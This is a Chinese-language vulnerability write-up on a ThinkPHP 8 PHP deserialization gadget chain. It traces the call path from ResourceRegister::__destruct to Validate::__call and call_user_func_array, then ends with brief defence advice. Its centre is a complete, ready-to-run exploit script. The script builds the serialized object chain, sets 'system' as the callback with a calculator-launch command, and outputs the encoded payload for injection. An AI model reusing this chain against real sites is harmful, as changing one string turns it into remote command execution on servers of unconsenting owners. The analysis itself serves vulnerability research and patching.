ThinkPHP8 反序列化调用链
字数 1258 2025-08-24 20:49:22
ThinkPHP 8 反序列化漏洞分析与利用
一、环境与背景
- ThinkPHP版本:8.0
- PHP版本要求:PHP 8+
- 官方手册:https://doc.thinkphp.cn/v8_0/preface.html
- 漏洞类型:反序列化漏洞
二、漏洞分析
1. 反序列化起点选择
在ThinkPHP 8中,反序列化的起点主要有两个选择:
- __destruct方法:通常作为反序列化的起点
- __wakeup方法:用于对象初始化,较少作为起点
经过分析,选择ResourceRegister#__destruct作为起点,原因如下:
Connection抽象类的__destruct方法需要寻找子类,且子类的close方法都是赋值语句,不适合利用ResourceRegister#__destruct方法更可控
2. 终点(sink)选择
选择think\Validate#__call作为终点,原因:
- 这是ThinkPHP 6反序列化调用链中常用的sink点
- 该方法可以实现危险操作
- 变量可控性较高
三、调用链分析
1. 调用链流程
完整的调用链如下:
ResourceRegister::__destruct()
-> Resource::parseGroupRule()
-> 字符串拼接触发__toString
-> Conversion::__toString()
-> appendAttrToArray()
-> getRelationWith()
-> Validate::__call()
-> call_user_func_array()
2. 关键节点分析
(1) ResourceRegister::__destruct
public function __destruct()
{
if (!$this->registered) {
$this->register();
}
}
registered可控,默认为false会调用register方法resource可控,可以触发后续调用
(2) Resource::parseGroupRule
protected function parseGroupRule($rule)
{
// 关键条件:
// $rule不能为null
// $last来源于$rule分割后的最后一个元素
// $name和$rest也需要可控
// 不处理$option['only']
// $val[1]需要包含'<id>'
// $option['var'][$last]不为空
}
(3) Conversion::__toString
public function __toString()
{
// 会调用appendAttrToArray方法
// 需要控制$visible和$relation
}
(4) getRelationWith
protected function getRelationWith($relation, $name)
{
// 关键点:
// $relation和$visible[$key]需要可控
// $this->visible可控,$val不能是字符串
// $relation来源于getRelation方法,受key影响
}
(5) Validate::__call
public function __call($method, $args)
{
// 最终会调用is方法
// $this->type可控
// $rule为方法名
// $value不能是字符串
}
四、漏洞利用
1. 利用条件
- 需要构造特定的对象链
- 控制多个关键属性:
$visible不能是字符串$relation需要指向Validate对象$type需要设置为可执行函数
2. 完整EXP
<?php
namespace think\route {
class ResourceRegister {
public $resource;
public function __construct($resource) {
$this->resource = $resource;
}
}
class RuleGroup extends Rule {
public function __construct($rule, $router, $option){
parent::__construct($rule, $router, $option);
}
}
class Resource extends RuleGroup {
public function __construct($rule, $router, $option){
parent::__construct($rule, $router, $option);
}
}
abstract class Rule {
public $rest = ['key' => [1 => '<id>']];
public $name = "name";
public $rule;
public $router;
public $option;
public function __construct($rule, $router, $option){
$this->rule = $rule;
$this->router = $router;
$this->option = ['var' => ['nivia' => $option]];
}
}
}
namespace think {
class Route {}
abstract class Model {
private $relation;
protected $append = ['Nivia' => "1.2"];
protected $visible;
public function __construct($visible, $call){
$this->visible = [1 => $visible];
$this->relation = ['1' => $call];
}
}
class Validate {
protected $type;
public function __construct(){
$this->type = ['visible' => "system"]; //function
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {
public function __construct($visible, $call){
parent::__construct($visible, $call);
}
}
}
namespace Symfony\Component\VarDumper\Caster {
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub {}
}
namespace Symfony\Component\VarDumper\Cloner {
class Stub {
public $value = "open -a Calculator"; //cmd
}
}
namespace {
$call = new think\Validate;
$option = new think\model\Pivot(new Symfony\Component\VarDumper\Caster\ConstStub, $call);
$router = new think\Route;
$resource = new think\route\Resource("abc.nivia", $router, $option);
$resourceRegister = new think\route\ResourceRegister($resource);
echo urlencode(base64_encode(serialize($resourceRegister)));
}
3. EXP说明
- 构造
ResourceRegister对象作为起点 - 通过
Resource和Rule类构造触发parseGroupRule的条件 - 使用
Pivot模型控制visible和relation ConstStub类用于提供命令执行字符串Validate类设置type为system函数- 最终通过
call_user_func_array实现命令执行
五、防御措施
- 避免反序列化用户可控的数据
- 对
__destruct和__wakeup方法进行安全审查 - 限制危险函数的使用
- 使用类型严格检查
- 及时更新框架版本
六、总结
ThinkPHP 8的反序列化漏洞利用相比ThinkPHP 6更为复杂,主要由于:
- 引入了
declare(strict_types=1)的严格类型限制 - 部分类和方法发生了变化
- PHP 8的特性带来新的限制
通过精心构造的对象链,仍然可以实现反序列化漏洞的利用。关键在于控制多个关键属性,并通过字符串拼接和魔术方法的组合触发最终的代码执行。